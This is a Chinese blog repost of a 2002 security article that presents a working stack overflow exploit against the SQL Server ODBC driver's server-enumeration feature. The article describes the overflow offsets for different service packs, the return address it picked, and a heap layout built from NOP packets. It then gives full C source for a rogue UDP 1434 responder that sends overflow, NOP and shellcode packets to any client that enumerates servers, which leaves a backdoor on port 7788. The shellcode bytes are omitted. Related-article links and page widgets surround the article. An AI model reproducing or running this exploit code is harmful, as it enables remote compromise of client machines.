【实战】SQL SERVER ODBC堆栈溢出攻击的实现。

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

SQL SERVER ODBC堆栈溢出攻击的实现。


创建时间:2002-09-28
文章属性:原创
文章提交: flashsky (flashsky1_at_sina.com)

关于ODBC溢出终于找到了解决之道。
由于原来一心只想把UNICODE代码拷贝过来,由于诸多原因,会导致大量覆盖地址,结果造成一些系统数据的被覆盖,而无法达到执行代码目的,后来我想,是否可以只仅仅覆盖到返回地址,由返回地址执向我们其他的可以控制的地址呢。
仔细考察一下情况,我们数据存在的地址主要有:
1。RECVFROM接收的数据
2。分配的堆
3。拷贝的堆栈
由于堆栈只覆盖到返回地址,我们就要再1和2上面动脑筋了,但1在拷贝到堆之后会清除掉,所以我们能利用的就只能是2了。
考察一下,发现其堆的分配,第一次一般在0x11cb00左右,那么考虑多种情况和unicode可转换的情况,我们可以设置成0x1240fe这个地址作为返回地址,只要保证堆在如下情况
[正常的我们或别人的应答包][我们覆盖地址的包][空操作包][SHELLCODE]
                                              0x1240fe在空操作包之间
于是在堆栈溢出后,地址就指向了堆的这个位置。
就可以达到目的,选择0x1240fe主要是考虑可能其他有很多或SQL SERVER不存在情况,可以调整。
但是在覆盖地址以后,由于程序连续处理后面的包,会把我们的地址又覆盖掉,因为后面空操作和shellcode结合在一起肯定是要大于溢出点的,所以覆盖地址的包后面还要加0,这样就让程序处理到[我们覆盖地址的包]就能返回回来了。
于是实验,成功。但是发现其他机器不行,一检查发现我的是打了SP3的,而其他的没打,反汇编一下其程序,大致一样,只是其溢出点不同,现在的是6000,而以前的是1036是覆盖地址,修改了一下溢出点地址,OK,全部成功。下面这个就是对老新版本都兼容的一个溢出攻击演示程序,一直等待有人发出ODBC列举请求就进行溢出攻击,在我们公司网络上所有的WINDOWS的机器基本都能溢出成功,但由于该shellcode只在ODBC进程内,关闭了这个进程产生的后门就被关闭了,溢出后不关闭这个进程然后telnet host 7788就可以登陆上去,当然也可以写成进程之外处理的,另外UNICODE编码和UNICODE SHELLCODE略去,需要的话象ISNO请教。另外堆的地址第二次操作时会变化,第一次基本都是固定的,但一般用SQL SERVER ODBC列举服务器的客户端基本都属第一次,所以问题不是很大。在就是可能存在更多的sql server odbc的不同版本,其溢出的点可能是不一样的,需要分析以后在地址溢出包对应的位置增加这些点,另外注意这个点的增加会导致其他点的位置变化,因为要被UNICODE编码

再可以先在网络测试一下本地SQL SERVER的个数,调整一下溢出返回地址(要用unicode编码)和发送空包的个数,使得能达到地方,不过基本都能搞定。

#define  DATABASE      0x61
#include <winsock2.h>
#include <windows.h>

void main()
{
    unsigned char buffer[7000];
    unsigned char bufhead[3]={5,0xfc,0xf};
    unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;////11111111//pipe//sql//query;;";
    unsigned char buf2 [4092];
    unsigned char buf3 [1024];
    unsigned char sendbuf [0x2000];
    unsigned  char temp;
    unsigned  char widecode[9000];
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    HANDLE listener;
    int e;
    int i;
    int sendlen;
    DWORD a1;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;
    struct sockaddr_in udpfrom;
    int udpfromlen = sizeof(udpfrom);
    int n ;
    unsigned char shellend[4] = {0x4e,0x4e,0,0};

    unsigned char myshellcode[]=;unicode shellcode
    unsigned char shellcodehead[70]=;unicode解码头
    shellcodehead[66]=0;
    shellcodehead[67]=0;
    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d/n",WSAGetLastError());
        return FALSE;
    }

    if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }
    
    sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL);
    sendlen--;
    memcpy(sendbuf+sendlen,myshellcode,sizeof(myshellcode)-1);
    sendlen=sendlen+sizeof(myshellcode)-1;
    i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL);
    sendlen = sendlen +i-1;    
    memset(buf2,0x4,4092);
    memset(buf3,0x4,1024);
    
    buf2[3001]=0x81; //本来应该是3000,但是由于照顾老版本加入的,使得多一位
    buf2[3002]=0xaa;
    buf2[3003]=0x12;//新版本的溢出点经过UNICODE编码就成*0x1240fe,
    buf2[3004]=0;   //必须要加入,使得程序判断为0导致不在处理后面的shellcode就直接返回而不破坏我们为此做的溢出覆盖
    buf2[512]=0x2;  //防止老版本取用这个地址导致异常
    buf2[513]=0x3;
    buf2[518]=0x81;
    buf2[519]=0xaa;
    buf2[520]=0x12;//为照顾老版本的溢出点;经过UNICODE编码就成*/

    //构造一个地址溢出包  //NOP+溢出地址

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1434);      
    addr_in.sin_addr.S_un.S_addr=inet_addr("192.168.0.60");
    n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in));
    if(n!=0)
    {
         e= WSAGetLastError();
         return -1;
    }
    for(;;)
    {
        n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen);    
        *((WORD *)(bufhead+1))=sizeof(buf1)-1;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf1,sizeof(buf1)-1);//进行时间延长,避免包被其他的打断    
        for(i=0;i<10;i++)
        {
            n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
            Sleep(20);
        }
        
        Sleep(50);

        *((WORD *)(bufhead+1))=3005;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf2,3005);//发送地址覆盖包
        n = sendto(sock, buffer,3008, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        

        //写入空操作串
        *((WORD *)(bufhead+1))=1024;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf3,1024);
        for(i=0;i<10;i++)
            n = sendto(sock, buffer,1027, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        

        //写入SHELLCODE
        *((WORD *)(bufhead+1))=4092;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,sendbuf,4092);
        n = sendto(sock, buffer,4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        
    }
    WSACleanup();
    return 0;
}
奇迹MU模拟器源码深度解析:从VC++网络编程到MMORPG架构设计 网络编程是构建分布式系统的核心技术,其核心原理在于通过Socket API实现进程间通信,采用自定义二进制协议进行高效数据序列化与反序列化。在游戏开发领域,尤其是MMORPG服务器架构中,网络编程的价值尤为突出,它直接决定了游戏的实时性、可扩展性与安全性。经典游戏如《奇迹MU》的服务端模拟器源码,为我们提供了一个完整的研究样本,展示了如何基于VC++和Winsock实现多进程协作的C/S架构。通过剖析其GameServer、DataServer、JoinServer等核心模块,可以深入理解状态机设计、数据包 阅读详情

相关推荐

2024 年如何成为一名成功的漏洞赏金猎人?成长总结以及相关资料推荐

2024 年如何成为一名成功的漏洞赏金猎人?成长总结以及相关资料推荐

代码讲故事 771

生产安全视角下的安全技术体系方法论---方兴(FlashSky) 全知科技CEO

生产安全视角下的安全技术体系方法论---方兴(FlashSky) 全知科技CEO

flashsky我的安全之路

著名计算机安全专家flashsky讲述自己的奋斗经历。

网络安全领域,比较牛的中国黑客有哪些?

网络安全领域,比较牛的中国黑客有哪些?

分享Python知识 2095

中国传奇黑客一览表

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

2402_84205067的博客 2101

实战】MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞创建时间:2002-09-23文章属性:原创文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVE

FreeXploiT 1579

MS SQL SERVER ODBC驱动SQL服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVER ODBC驱动中存在一个溢出漏洞,攻击者可

795

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞创建时间:2002-09-23文章属性:原创文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVE

1088

【AI Agent】2026年9月 AI Agent 全栈开发最新技术面试宝典(含高频+必背+大厂真题)

本文整理了2026年AI Agent全栈开发最新技术面试题,涵盖基础概念、核心框架和系统设计等关键领域。重点解析了AI Agent与普通Chatbot的本质区别(自主闭环执行能力)、Agentic Loop的完整工作流程(规划-执行-观察-评估循环),以及ReAct范式的原理与适用场景。特别强调面试回答技巧:需结合工程实践中的典型问题、处理方案和量化指标,而非简单背诵定义。内容来自字节、阿里等大厂真实面经,适合3-5年经验开发者准备春招面试,突出考察候选人在复杂场景下的技术决策能力。

小江的记录本 4210

Microsoft SQL Server 堆栈溢出漏洞加固

Microsoft SQL Server 堆栈溢出漏洞官网https://technet.microsoft.com/zh-cn/library/security/ms14-085.aspx下载对应SQLServer2008R2-KB2977320-x64补丁 转载于:https://blog.51cto.com/mvp2008/1874383...

weixin_33772645的博客 806

Microsoft SQL Server 缓冲区错误漏洞(CVE-2018-8273)解决方法

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8273。点击链接后进入到该页面,下拉到最下方,安全更新位置。(之前找上面是没有对应的内容的,打开页面都是404)在一次漏洞扫描中,扫描出紧急漏洞。点击箭头链接到该页面,下拉找到下载程序包的位置。再次点击点头位置,就可以看到下载补丁内容了。根据漏洞修复建议去下载补丁。根据修复建议找补丁。

y995zq的博客 1769

SQL Server数据库 最大并行度

SQL Server数据库 最大并行度,优化查询效率

u010992421的专栏 2997

--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

 作者:FLASHSKY(原创)作者邮箱:flashsky@xfocus.org站点:    www.xfocus.net申明: 作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术给予较高的关注,提出查杀和避免

FreeXploiT 2370

sql溢出攻击

黑鹰基地教程 黑鹰基地www.3800cc.com 专业的黑客安全技术培训基地, 多抽出一分钟时间学习。让你的生命更加精彩。 工具 nc                黑客界号称瑞士军刀的工具.因为经常用到入侵所以会被杀毒软件查杀.这个是我制作的个人版.暂时不会被杀.不会用的朋友可以参考本站制作的动画教程. http://d...

weixin_33749131的博客 439
上一篇: 【实战】WebDav远程溢出漏洞分析
下一篇: 【实战】MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值